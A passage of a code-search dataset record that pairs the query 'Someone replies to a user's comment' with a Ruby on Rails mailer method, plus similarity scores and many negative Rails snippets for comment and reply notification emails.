"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end",
"def store_location\n session[:forwarding_url] = request.original_url if request.get?\n end"
] |
[
"0.7381224",
"0.73708266",
"0.7339117",
"0.732073",
"0.7318128",
"0.7254937",
"0.72309023",
"0.7192216",
"0.7141708",
"0.71093285",
"0.7076754",
"0.7067377",
"0.7067377",
"0.7064908",
"0.7013761",
"0.6953116",
"0.69463634",
"0.6938234",
"0.6912283",
"0.68966955",
"0.686046",
"0.686046",
"0.686046",
"0.6850361",
"0.6849879",
"0.6848706",
"0.6844914",
"0.68444103",
"0.68444103",
"0.68444103",
"0.68444103",
"0.68409747",
"0.683371",
"0.68255943",
"0.68255943",
"0.68255943",
"0.68255943",
"0.68217087",
"0.6821682",
"0.68183625",
"0.68183625",
"0.680722",
"0.6802203",
"0.67978954",
"0.6794472",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6780119",
"0.6778013",
"0.6772403",
"0.6757306",
"0.67559654",
"0.67552304",
"0.6750689",
"0.67427874",
"0.6742761",
"0.67423636",
"0.6741068",
"0.67070234",
"0.67012656",
"0.67012656",
"0.66962314",
"0.6693344",
"0.66927236",
"0.6690573",
"0.6690573",
"0.6690573",
"0.6690573",
"0.66857237",
"0.6673516",
"0.66664064",
"0.66638345",
"0.6654913",
"0.66547483",
"0.6654662",
"0.66536933",
"0.6645655",
"0.663675",
"0.66353756",
"0.6629429",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373",
"0.6629373"
] |
0.0
|
-1
|
USER NOTIFICATIONS Someone replies to a user's comment
|
def comment_reply_notification(recipient_email, recipient_name, commenter_name, body, url)
email_with_name = "#{recipient_name} <#{recipient_email}>"
@recipient_name = recipient_name
@commenter_name = commenter_name
@body = body
@url = url
mail to: email_with_name, subject: "#{commenter_name} replied to your comment on BaseRails"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comment_replied_to(options = {})\n send_comment_notification(options, \"reply_notice\")\n end",
"def notifies_commenter? # ...of direct responses to this comment\n wants_notifications?\n end",
"def notify\n reviewers = proposal.reviewers.reject{|r| r.id == user_id }\n Notification.create_for(reviewers, proposal: proposal, message: \"Internal comment on #{proposal.title}\")\n end",
"def create_post_owner_notification_of_reply(reply)\n return if reply.user.id == self.user.id # don't notify user of his own replies..\n if self.user.role == \"Poster\"\n url = \"wall_expert/#{self.id}\"\n else\n url = \"wall/#{self.id}\"\n end\n notify(self.user, \"Your post was commented on!\", \"#{reply.user.profile.full_name} commented on your post!\", :from => reply.user, :key => post_reply_notification_key(reply), :link => '#{url}?reply=#{reply.id}')\n end",
"def send_reply\n if self.response_changed?\n @notifiable = self\n @tutor = User.find(self.user_id)\n @student = User.find(self.pupil_id)\n\n if self.response == \"Declined\"\n @description = self.pupil.title + \" has sadly declined your offer\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You hve declined the offer by ' + @tutor.title)\n else\n @description = self.pupil.title + \" is now a student at your school\"\n @notifiable.notifications.create(:user => @tutor ,:receiver_id => @student.id, :message => 'You are now a student of ' + @tutor.title)\n end\n @notifiable.notifications.create(:user => @student, :receiver_id => @tutor.id, :message => @description)\n end\n end",
"def came_comment\n @user = @receiver\n path = \"/#{@comment.commentable_type.downcase.pluralize}/#{@comment.commentable.id}\"\n @notification = @user.notifications.find_by(path: path)\n mail to: @user.email, subject: \"[bootcamp] #{@message}\"\n end",
"def comment_notification(user, commenter, post, comment)\n @user = user\n @commenter = commenter\n @post = post\n @comment = comment\n\n mail to: user.email, subject: \"#{commenter.username} has commented on your post!\"\n end",
"def comment_moderation(user_id, comment_id, url_title, response)\n @user = User.find(user_id)\n @utitle = url_title\n @comment = Comment.find(comment_id)\n\n mail :to => recipient(@user.email), :subject => \"25c Testimonial Notification for #{@utitle}\"\n end",
"def test_create_reply_to_reply_to_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:matt_reply_to__tim_reply_to__andy_to_kevin_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n notified_users = send_message(@kevin, @matt, reply_to, about)\r\n assert !notified_users.include?(@kevin),\r\n \"Owner of the review should not receive their own comments on the review.\"\r\n end",
"def comment_reply_notification(your_comment_id, comment_id)\n @your_comment = Comment.find(your_comment_id)\n @comment = Comment.find(comment_id)\n mail(\n :to => @your_comment.comment_owner_email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Reply to your comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def comment_notification(user_id, comment_id)\n user = User.find(user_id)\n @comment = Comment.find(comment_id)\n mail(\n :to => user.email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def perform(reply, user)\n\t\t@user = user\n\t\t@reply = reply\n\t\t@comment = Comment.where(id: @reply.comment_id).joins(\"JOIN things ON things.id = comments.thing_id\").select(:user_id, :thing_type, :id, :comment, :thing_id).first\n\t\tunless @comment.user_id == @user.id\n\t\t\t@reply_email = ReplyEmail.where(comment_id: @comment.id, user_id: @user.id, recipient_id: @comment.user_id).first\n\t\t\tunless @reply_email.present?\n\t\t\t\t@recipient = User.joins(\"JOIN email_preferences ON email_preferences.user_id = users.id\").select(:id, :email, :name, :token_1, :token_2, :comment_replies, :email_validated).where(id: @comment.user_id).first\n\t\t\t\t(@comment.comment.length > 40) ? (@comment_val = @comment.comment[0,40] + \"...\") : (@comment_val = @comment.comment)\n\t\t\t\tif @comment.thing_type == 0 #thing_type == 0 means it's for the leaderboard\n\t\t\t\t\t@action = send_notification(\"/leaderboard\")\n\t\t\t\telsif @comment.thing_type == 1 #thing_type == 1 means it's for a user's post\n\t\t\t\t\t@post = Post.find_by_thing_id(@comment.thing_id)\n\t\t\t\t\t@action = send_notification(\"/posts/#{@post.id}\")\n\t\t\t\telsif @comment.thing_type == 2 #thing_type == 2 means it's for a workout\n\t\t\t\t\t@workout = Workout.find_by_thing_id(@comment.thing_id)\n\t\t\t\t\t@action = send_notification(\"/workouts/#{@workout.id}\")\n\t\t\t\telsif @comment.thing_type == 3 #thing_type == 3 means it's for a contest\n\t\t\t\t\t@contest = Contest.find_by_thing_id(@comment.thing_id)\n\t\t\t\t\t@action = send_notification(\"/contests/#{@contest.id}\")\n\t\t\t\tend\n\t\t\t\tReplyEmail.create(comment_id: @comment.id, user_id: @user.id, recipient_id: @comment.user_id)\n\t\t\tend\n\t\tend\n\tend",
"def came_comment\n @user = @receiver\n link = \"/#{@comment.commentable_type.downcase.pluralize}/#{@comment.commentable.id}\"\n @notification = @user.notifications.find_by(link: link) || @user.notifications.find_by(link: \"#{link}#latest-comment\")\n mail to: @user.email, subject: \"[FBC] #{@message}\"\n end",
"def edited_comment_reply_notification(your_comment_id, edited_comment_id)\n @your_comment = Comment.find(your_comment_id)\n @comment = Comment.find(edited_comment_id)\n mail(\n :to => @your_comment.comment_owner_email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Edited reply to your comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def edited_comment_notification(user_id, comment_id)\n user = User.find(user_id)\n @comment = Comment.find(comment_id)\n mail(\n :to => user.email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Edited comment on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def notification (user_id)\n requests = Requests.requests_for_edit_notification(user_id)\n if(requests != nil)\n senders_id = Array.new\n requests.each do |t|\n sender_id = t.senders_id\n senders_id.push sender_id\n end\n senders_id.each do |s|\n notification = Notifications.set_notification(s)\n user = Users.find_by_id(user_id).username\n requests.each do |t|\n if (t.senders_id == s)\n description = user + \" \" + \"edited his/her trip, please check it!\"\n Notifications.create_notification_trip(notification, description)\n end\n end\n end\n return\n end\n end",
"def comment_notice_to_user(user, tutor, comment)\n @user = user\n @tutor = tutor\n @comment = comment\n\n mail to: \"#{user.email}\", bcc: 'studyconcierge@gmail.com', subject: \"【StudyConcierge】【新着コメントのお知らせ】\"\n end",
"def ask_for_recommandations(comment_notification)\n return if (comment_notification.complete? || !comment_notification.user.email_opt_in)\n @structure = comment_notification.structure\n @email = comment_notification.user.email\n @user = comment_notification.user\n @email_text = comment_notification.text\n @comment = @structure.comments.build\n mail to: @email, subject: get_comment_notification_subject(comment_notification), template_name: get_comment_notification_template(comment_notification)\n end",
"def new_comment_notification(comment)\n\n blog = Post.find comment.post_id\n sender = User.find comment.user_id\n blog_owner = User.find blog.user_id\n #@subscribe = Subscribe.find :all, :conditions => [\"model_id = ? and model_type = ?\",blog.id, \"Post\"],:select => [\"user_id\"]\n #@subscribers = User.find :all, :conditions => [\"id in (?)\",@subscribe], :select => [\"email\"]\n setup_email(blog_owner)\n\n @subject += \"У ваc новый комментарий\"\n\n body[:comment]= comment\n body[:from_who] = sender\n body[:url] = RAILS_URL + \"posts/show/#{comment.post_id}#comments\"\n\n end",
"def mentioned(user, comment)\n author = comment.author\n url = timeline_url(comment.commentable)\n\n PushNotificationService.new.mentioned(user, comment)\n Notifications.mentioned(user, comment, author, url).deliver_later\n end",
"def notify_on_mention?; true; end",
"def send_comment_notifications(comment)\n plan_detail = comment.commentable\n plan = plan_detail.plan\n users = plan.members.select { |u| u.opt_in == true }\n # exclude user making the comment\n users = users - Array(comment.user)\n\n users.each do |user|\n logger.info \"[soph] sending notification email to #{user.email} about comment.id #{comment.id}\"\n UserMailer.delay.new_comment_notification(to_user: user,\n comment_text: comment.comment,\n commenter: comment.user,\n passage_ref: plan_detail.passage_ref,\n plan_url: plan_path(plan))\n end\n end",
"def send_notifications!\n # The person who wrote the note, anybody who's left a comment on this note minus \"current\" comment creator\n notification_emails.each do |email|\n Notifier.comment(self, email).deliver\n end\n end",
"def comments_mentioning_user(other_user_id, options={})\n self.class.parse_comments(request(singular(user_id) + \"/comments/#{other_user_id}\", options))\n end",
"def user_want_notified_new_comment user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ?\", \n self.id, \n true, \n user_eject.id)\n .collect { |l| l.user }\n end",
"def send_notifications\n send_new_post_to(:sender) if self.sender.notify_on_comment_posted\n send_new_post_to(:receiver) if self.receiver && self.receiver.notify_on_comment_received\n end",
"def comment_reply\n CommentMailer.comment_reply(Comment.where('parent_id is not null').last.id)\n end",
"def new_comment(comment, commenter, author, question)\n if author.privacy_setting.notify_on_post_comment \n @comment, @commenter, @author, @post = comment, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just commented on your post.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def notify(user, answer)\n @user = user\n @answer =answer\n mail(to: user.email, subject: 'You has new answers') \n end",
"def replies\n @user = User.find(params[:id])\n end",
"def test_create_reply_to_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:tim_reply_to__andy_to_kevin_about_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n send_message(@matt, @tim, reply_to, about)\r\n end",
"def create_notification\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'Comment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: [self.owner.id] , seen: false, custom_text: self.content)\n Notification.create(\n notifiable_id: self.post.id, notifiable_type: 'Post', \n notification_type: 'FollowedComment', source_user_id: self.user_id, target_user_hash: {},\n target_user_ids: self.notifiable_followers , seen: false, custom_text: self.content)\n end",
"def notify_question_owner(answer)\n \t@answer = answer\n \t@question = answer.question\n \t@receiver = @question.user\n \tmail(to: @receiver.email,\n \t\t\t subject: \"You've got a new answer!\")\n end",
"def replying_to\n return nil unless self.reply?\n user = self.text[0...self.text.index(\" \")]\n return nil unless user[0...1] == \"@\"\n user\n end",
"def replying_to\n return nil unless self.reply?\n user = self.text[0...self.text.index(\" \")]\n return nil unless user[0...1] == \"@\"\n user\n end",
"def add_comment_notification(issue_id_or_key, comment_id, notified_user_ids = [])\n post(\"issues/#{issue_id_or_key}/comments/#{comment_id}/notifications\", notified_user_id: notified_user_ids)\n end",
"def reply_meitan(reply_to_user, in_reply_to_id)\n log \"replying to meitan\"\n post_reply(reply_to_user, in_reply_to_id, random_notmeitan)\n end",
"def comment_sent_notification(comment_id)\n @comment = Comment.find(comment_id)\n @noreply = true # don't give reply link to your own comment\n mail(\n :to => @comment.comment_owner_email,\n :subject => \"[#{ArchiveConfig.APP_NAME}] Comment you left on \" + @comment.ultimate_parent.commentable_name.gsub(\">\", \">\").gsub(\"<\", \"<\")\n )\n end",
"def notify\n notify_unmentioned_reviewers\n notify_mentioned_event_staff if mention_names.any?\n end",
"def comment_update(message)\n @user = message.user\n @message=message\n mail to: @user.email, subject: \"New comment for your Message Board (Socail Trip App)\", from:'test@example.com'\n \n end",
"def answered_by?(user)\n replies.exists?(:user_id => user)\n end",
"def mention_notice(user)\n \n @user = user\n mail to: user.email, subject: \"You've been Mentioned in a post!\"\n end",
"def respond_message\n @user = current_user\n @note = @user.notes.last\n @receiver = User.find_by_id(@note.created_by)\n # So you have note, you can fine the number created_by\n # Now you have the number, find User with that ID number\n # Now you have user , find the phone number\n twilio_client.messages.create(\n to: @receiver.phone_number,\n from: ENV['TWILIO_PHONE_NUMBER'],\n body: \"Hey #{@receiver.first_name}\n\nYour note to #{@user.first_name} was completed!\n\nMake sure you're logged in before clicking the link:\nhttps://afternoon-basin-78472.herokuapp.com/users/#{@note.users.first.id}/notes/#{Note.last.id}\"\n )\n end",
"def request_has_been_discussed_by_user_to_teacher(participation_request, message)\n @message = message\n retrieve_participation_request_variables(participation_request)\n mail to: @admin.email, subject: \"Nouveau message - #{@user.name}\",\n reply_to: generate_reply_to('admin')\n end",
"def user_want_notified_new_comment_advanced user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ? AND entr_mission_users.state = ?\", \n self.id, \n true, \n user_eject.id, \n EntrMissionUser::Status::CONFIRMED)\n .collect { |l| l.user }\n end",
"def notify_comment(comment_id)\n puts \"comment parent #{comment_id}\"\n comment = Comment.find comment_id\n\n if comment.parent_id\n parent = Comment.find(comment.parent_id, include:[:user,:article])\n puts parent\n if parent and comment.user_id != parent.user_id\n commented_user= parent.user\n commented_article = parent.article\n\n if commented_user && commented_article\n\n key=\"new_comment.#{commented_article.id}.#{comment.user_id}\"\n notification = Notification.find_by_key(key)\n puts key\n\n if !notification\n Notification.create user_id: commented_user.id,\n key: key,\n content: \"#{commented_article.id}.#{comment.id}\"\n else\n Notification.update(notification.id,\n user_id: commented_user.id,\n key: key,\n content: \"#{commented_article.id}.#{comment.id}\",read:false)\n end\n end\n end\n end\n end",
"def user_comments\n comments = Comment.where(:commentable_id => self.id, :commentable_type => \"Conversation\")\n str = \"\"\n comments.each do |comment|\n user_name = Invitee.where(:id => comment.user_id).first.name_of_the_invitee rescue nil\n desc = comment.description if user_name.present?\n str += \"#{user_name} => #{desc}\" + ' ~ ' \n end\n str\n end",
"def notify_subscribers\n AdminMailer.notify_of_comment(self)\n end",
"def generate_notifications\n notification = \"New Reply to '#{@post.content}'\"\n Notification.create(content: notification, \n user_id: @post.sender.id, \n user_type: @post.sender.class.name,\n origin_type: 'Message',\n origin_id: @message.id) unless @post.sender == @message.sender\n users = []\n @post.messages.each do |message|\n users << message.sender unless users.include?(message.sender) || @post.sender == message.sender\n end\n users.each do |user|\n Notification.create(content: notification,\n user_id: user.id,\n user_type: user.class.name,\n origin_type: 'Message',\n origin_id: @message.id) unless user == @message.sender\n end\n end",
"def reply_bang\n user_bang = UserBang.find_by(id: params[:id])\n raise Bang::Error::InvalidUserBang\\\n if !user_bang.present?\\\n || user_bang.user_id != current_user.id\\\n || user_bang.has_replied?\n\n user_bang.status = UserBang.status_from_string(params[:status])\n if user_bang.accept?\n create_conversation [user_bang.user_id, user_bang.from_user_id], :user_bang\n end\n user_bang.save!\n @user_bang = user_bang\n end",
"def comment\n if logged_in?\n if params[:comment]\n @comment = Comment.new(params[:comment])\n @comment.user_id = current_user.id\n @comment.save\n \n @user = current_user\n \n \t#look up the answerer \n @answer = Question.find(@comment.parent_id)\n @answer_user = User.find(@answer.user_id)\n @notified_user = get_user_to_be_notified(5,@answer_user)\n\n #This will allow this method to send emails for questions and answers\n if(@answer.parentid > 0)\n @question = Question.find(@answer.parentid)\n\n if(@notified_user != nil)\n UserMailer.deliver_new_comment(@answer_user,@comment, @question)\n end\n else\n if(@notified_user != nil)\n UserMailer.deliver_new_comment(@answer_user,@comment, @answer)\n end\n\n end\n \n respond_to do |format|\n flash[:notice] = 'Your comment was submitted successfully.'\n \n format.html { redirect_to(:back)}\n format.xml { render :xml => @comment }\n end\n end\n else\n flash[:notice] = 'Your must login or create an account to comment to a question.'\n redirect_to :controller => 'account', :action => 'login'\n end\n end",
"def new_comment(username, body, commentable)\n @username = username\n @body = body\n @commentable = commentable\n\n # mail to all the users subscribed to the thread when a new \n # comment is posted\n sendgrid_recipients = []\n @commentable.subscriptions.each do |subscription|\n sendgrid_recipients << subscription.user.email\n end\n\n mail to: sendgrid_recipients,\n subject: \"#{username} posted a comment to #{commentable.name}\"\n end",
"def including_replies \n\t\tif content[0] == \"@\"\n\t\t\tat_to_user = content.split(\".\")[0]\n\t\t\tid_number = at_to_user[1, at_to_user.length-1]\n\t\tend\n\tend",
"def authored_replies\n Reply.find_by_user_id(self.id)\n end",
"def new_comment_created(recipient,title,from_mail,from_name,comment, link_to_commentable)\n @notify_subject = \"Your entry '#{title}', was commented by #{from_name}\"\n @comment = comment\n @from_name = from_name\n @from_mail = from_mail\n @link_to_commentable = link_to_commentable\n mail( :from => from_mail,\n :to => [ENV['APPLICATION_CONFIG_admin_notification_address'],recipient].uniq,\n :subjcect => @notify_subject\n )\n end",
"def notify_user(record)\n unless record.user_id == record.author_id\n create_notification(record, record.user)\n end\n end",
"def new_comment(rep, c_u, content)\n @current_user = c_u\n @content = content\n @rep = rep\n mail to: rep.user.email, subject: \"Ripetizione per '#{rep.course.name}'\"\n end",
"def notify_subscribers_about_new_response(reply)\n subscribers.each do |user|\n user.with_user_locale do\n UserMailer.reply_notification(user.id, reply.id).deliver!\n end unless user == reply.user\n end\n end",
"def get_reply_to\n @reply_to\n end",
"def new_answer(answer, commenter, author, question)\n if author.privacy_setting.notify_on_answer\n @answer, @commenter, @author, @question = answer, commenter, author, question\n mail(\n :subject => \"#{@commenter.name.titleize} just answered your question.\",\n :from => \"noreply@studyhall.com\",\n :to => author.email,\n :date => Time.now\n )\n end\n end",
"def authored_replies\n Replies.find_by_user_id(@id)\n end",
"def congratulate_for_accepted_comment(comment)\n @comment = comment\n @structure = @comment.structure\n @admin = @structure.admin\n @conversation = @comment\n mail to: @comment.commentable.contact_email,\n subject: \"Vous avez reçu un avis de #{@comment.author_name}\",\n reply_to: generate_reply_to('admin', 'comment')\n end",
"def update\n @reply = current_user.replies.find(params[:id])\n if (@reply.update_attributes(params[:reply]))\n event = Event.find(@reply.event.id)\n BabysitMailer.deliver_reply(event, @reply)\n redirect_to user_url(current_user)\n else\n render :action => :edit\n end\n end",
"def update_followers(user, note)\n @note = note\n\n mail to: user.email, :subject => \"#{user.name} don yarn for hypejamz.\", :from => \"Hypejamz\"\n end",
"def on_comment(msg)\n end",
"def commented (commentable, comment, email)\n @commentable = commentable\n @comment = comment\n mail :to => email,\n :subject =>\"#{@commentable.class} \\\"#{@commentable.title}\\\" has been commented\"\n end",
"def reply\n @comment = Comment.find params[:id]\n @new_comment = @comment.replies.create reply_params\n @new_comment.commentable_id = @comment.id\n @new_comment.user_id = current_user.id\n\n if @new_comment.save\n flash[:success] = \"Success\"\n redirect_to \"/reply/\" + @comment.commentable_id.to_s\n else\n flash[:danger] = \"No success\"\n redirect_to \"/reply/\" + params[:id]\n end\n end",
"def answer_comment(comment, text)\n comment.answer(self, text)\n item = comment.correspondent_item\n Activity.log(self, \"comment_item\", item, item.owner)\n end",
"def reply(text)\n client.add_comment(self, text)\n end",
"def news_comment_added(user, comment)\n news = comment.commented\n redmine_headers 'Project' => news.project.identifier\n @author = comment.author\n message_id comment\n references news\n @news = news\n @comment = comment\n @user = user\n @news_url = url_for(:controller => 'news', :action => 'show', :id => news)\n mail :to => user,\n :subject => \"Re: [#{news.project.name}] #{l(:label_news)}: #{news.title}\"\n end",
"def notifications\n @other_user = @login_user\n @notifications = DiscussionGroupUser.where(['user_id =? AND is_member=?', @login_user.id, false])\n @disc_notifications = NonSiteUser.where([\"email=? AND invitable_type=? and invitation_type=?\",@login_user.email,\"Discussion\",\"Invited\"])\n respond_to do |format|\n format.html\n end\n end",
"def reply_to\n @reply_to\n end",
"def comments_given(user_id)\n comments = Comment.where(user_id: user_id)\n end",
"def show_comment_on_comment(id)\n if session[:shown_reply_to_comment].nil? ||\n\tsession[:shown_reply_to_comment].empty?\n session[:shown_reply_to_comment] = [ id ]\n else\n session[:shown_reply_to_comment] << id unless session[:shown_reply_to_comment].include? id\n end\n end",
"def newcomment_mail(comment)\n @comment = comment.contentcom\n @email = User.find(comment.user_id).email\n @fname = User.find(comment.user_id).fname\n @lname = User.find(comment.user_id).lname\n @url = 'http://minervasi.co/login'\n mail(to: [\"request@minervasi.com\"], subject: 'User comment')\n end",
"def new_comment_alert_to_grp_users_email\n group = self.group\n user_who_commented = self.user\n UserMailer.new_comment_alert_to_grp_users_email(group, user_who_commented).deliver_now\n end",
"def new_unmoderated_comment(user_id, comment_id, url_title)\n @user = User.find(user_id)\n @utitle = url_title\n @comment = Comment.find(comment_id)\n\n mail :to => recipient(@user.email), :subject => \"New 25c Testimonial Note for #{@utitle}\"\n end",
"def test_create_reply_to_standalone_message_about_kevins_review_59\r\n reply_to = messages(:andy_to_kevin_about_kevins_review_59)\r\n about = Factory :review\r\n about.user = @kevin\r\n send_message(@tim, @andy, reply_to, about)\r\n end",
"def notification_of_new_comment_to_followed_listing(comment, recipient, host=nil)\n set_locale recipient.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitusta jota seuraat\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(recipient.id)}\" : \"test_url\"\n recipients recipient.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end",
"def notify!\n if self.commentable.comments.count > 1\n MailWorker.perform_async(\"CommentMailer\", :comment_received, self.id)\n else\n MailWorker.perform_async(\"RequestMailer\", :request_in_process, self.commentable.id)\n end\n end",
"def item_comment(comment, recipient)\n @comment = comment\n @recipient = recipient\n @commentable = comment.commentable\n mail(:to => \"#{recipient.name} <#{recipient.email}>\", :subject => \"A User has just left a comment on your #{comment.commentable.class.to_s}\")\n end",
"def create_notification\n host = ENV['WEB_CLIENT_HOST']\n url = \"http://#{host}/articles/#{article.id}\"\n\n # Notify the article author of the new comment\n subject = \"#{user.name} علق على مقالك '#{article.title}'\"\n body = \"#{user.name} ترك تعليق على مقالك <a href='#{url}' target='blank'>'#{article.title}'</a>. التعليق هو:\\n\\n <blockquote dir='rtl'>#{self.body}</blockquote>\"\n\n if not user.id.equal? article.user.id\n SendEmailsWorker.perform_async(\n subject, body, article.user_id, self.class.name, self.id)\n end\n\n # Notify any users who have commented on the same section (i.e. guid).\n past_commenters = Comment.where(\n guid: guid).includes(:user).collect(&:user).uniq\n subject = \"#{user.name} علق على مقال '#{article.title}'\"\n body = \"#{user.name} ترك تعليق على مقال <a href='#{url}' target='blank'>'#{article.title}'</a> بعد تعليقك. التعليق هو:\\n\\n <blockquote dir='rtl'>#{self.body}</blockquote>\"\n past_commenters.each do |commenter|\n # Don't notify the owner of the article they already have been notified.\n # Or the user who is adding the current comment.\n if (not commenter.id.equal? article.user.id and\n not commenter.id.equal? user.id)\n SendEmailsWorker.perform_async(\n subject, body, commenter.id, self.class.name, self.id)\n end\n end\n\n end",
"def notify_all_users_in_the_conversation(current_user, video, video_owner)\n # send e-mail to the video owner unless the person commented on their own video\n # or their notification settings say not to\n unless (video.user_id == self.user_id)\n # for whatever reason, delayed_job won't send the email unless you do it as a delayed_job\n UserMailer.delay(:priority => 40).new_comment(self, video_owner, false) if video_owner.send_email_for_new_comments\n # Add event to activity feed\n UserEvent.delay(:priority => 40).create(:event_type => UserEvent.event_type_value(:comment), \n :event_object_id => self.id,\n :user_id => video_owner.id,\n :event_creator_id => current_user.id)\n end\n # send e-mail to other people (except the video owner, or the person that just commented) \n # that have commented on the video unless their notification settings say not to\n users_we_will_not_notify = []\n users_we_will_not_notify << video_owner.id << self.user_id\n \n commenters = Comment.where('video_id = ? AND user_id NOT IN (?)', self.video_id, users_we_will_not_notify).group_by(&:user_id)\n unless commenters.blank?\n commenters.each do |comment_owner_id, comment|\n the_commenter = User.find_by_id(comment_owner_id)\n # for whatever reason, delayed_job won't send the email unless you do it as a delayed_job\n UserMailer.delay(:priority => 40).new_comment(self, the_commenter, true) if the_commenter.send_email_for_replies_to_a_prior_comment\n # Add event to activity feed\n UserEvent.delay(:priority => 40).create(:event_type => UserEvent.event_type_value(:comment_response), \n :event_object_id => self.id,\n :user_id => the_commenter.id,\n :event_creator_id => current_user.id)\n end\n end\n end",
"def user_comment?(user_id)\n @current_user.id == user_id\n end",
"def send_email_to_owner\n return if !self.support_case or self.support_case.contact == self.created_by\n if AppSetting.config('Send Comment Notifications') == AppSetting::SEND_COMMENT_NOTIFICATIONS[:send_notification]\n SfcontactMailer.deliver_owner_notification(self)\n end\n rescue\n logger.info(\"Error occured creating case comment notification email: #{$!.message}\")\n end",
"def reply_mention(reply_to_user, in_reply_to_id)\n log \"replying to mention\"\n post_reply(reply_to_user, in_reply_to_id, random_mention(reply_to_user.id))\n end",
"def notification_of_new_comment(comment, host=nil)\n set_locale comment.listing.author.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitustasi\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(comment.listing.author.id)}\" : \"test_url\"\n recipients comment.listing.author.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end",
"def new_comment(comment)\n @greeting = \"Hi!\"\n @id = comment.workout.id\n @title = comment.workout.title\n @user = comment.user\n mail to: comment.workout.user.email\n end",
"def new_comment(user, post, comment)\n # New Headers\n headers[\"Message-ID\"] = \"<comments/#{comment.id}@aspsa-bloccit.example>\"\n headers[\"In-Reply-To\"] = \"<post/#{post.id}@aspsa-bloccit.example>\"\n headers[\"References\"] = \"<post/#{post.id}@aspsa-bloccit.example\"\n \n # Checkpoint #55 - Favoriting\n #\n # You'll notice that we define three instance variables to equal local variables, but then never use them. What's going on?\n #\n # ActionMailer follows a similar pattern to Rails controllers: You can define instance variables that will be available to your \"view\" - the content sent in the email.\n @user = user\n @post = post\n @comment = comment\n \n # Checkpoint #55 - Favoriting\n #\n # The most important line in this method is the last. The mail method takes a hash of mail-relevant information - the subject, the to address, the from (we're using the default), and any cc or bcc information you want - and prepares the email to be sent.\n mail(to: user.email, subject: \"New comment on #{post.title}\")\n end",
"def watch_comment_by_user_ids\n self.watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n end",
"def send_mention(post)\n post.mentioned.each do |mentioned_user|\n Notification.send_to mentioned_user, 'mention', post.topic, post.user, post\n end unless post.mentioned.blank?\n end",
"def new_comment(info)\n @user = info\n\n mail(to: \"mitrihair@gmail.com\", subject: \"Test Email From Website\")\n end",
"def new_comment(comment)\n if comment.commentable.instance_of?(User)\n user_email = comment.commentable.email\n @followlink = profile_url\n elsif comment.commentable.instance_of?(Message)\n user_email = comment.commentable.user.email\n @followlink = message_url(comment.commentable)\n end\n\n @username = comment.user.email\n\n mail :to => user_email, :subject => \"New comment\"\n end",
"def _on_reply(wi)\n Ruote.participant_send(self, :on_reply, 'workitem' => wi)\n end",
"def comment_received(comment)\n# @greeting = \"Hi\"\n @comment = comment\n\n mail :to => \"sandorafoods@gmail.com\"\n end",
"def notes_to_self(user_id)\n Comment.find(:all, :order => \"created_at DESC\", :conditions => [\"commentable_id = ? AND commentable_type = ? AND comment_type = ? AND user_id = ?\", id, 'Screen', 6, user_id])\n end",
"def create\n event = Event.find(params[:event_id])\n friend = User.find(params[:user_id])\n found = event.replies.any?{ |r| friend == r.user }\n if (!found)\n # r = Reply.create(\n # :event => event,\n # :user => friend,\n # :answer => '<NONE>',\n # :note => ''\n # )\n r = event.replies.create(:user => friend, :answer => '<NONE>', :note => '')\n Rails.logger.info r.inspect\n Rails.logger.info r.id\n BabysitMailer.deliver_event(event, r)\n end\n redirect_to user_url(current_user)\n end",
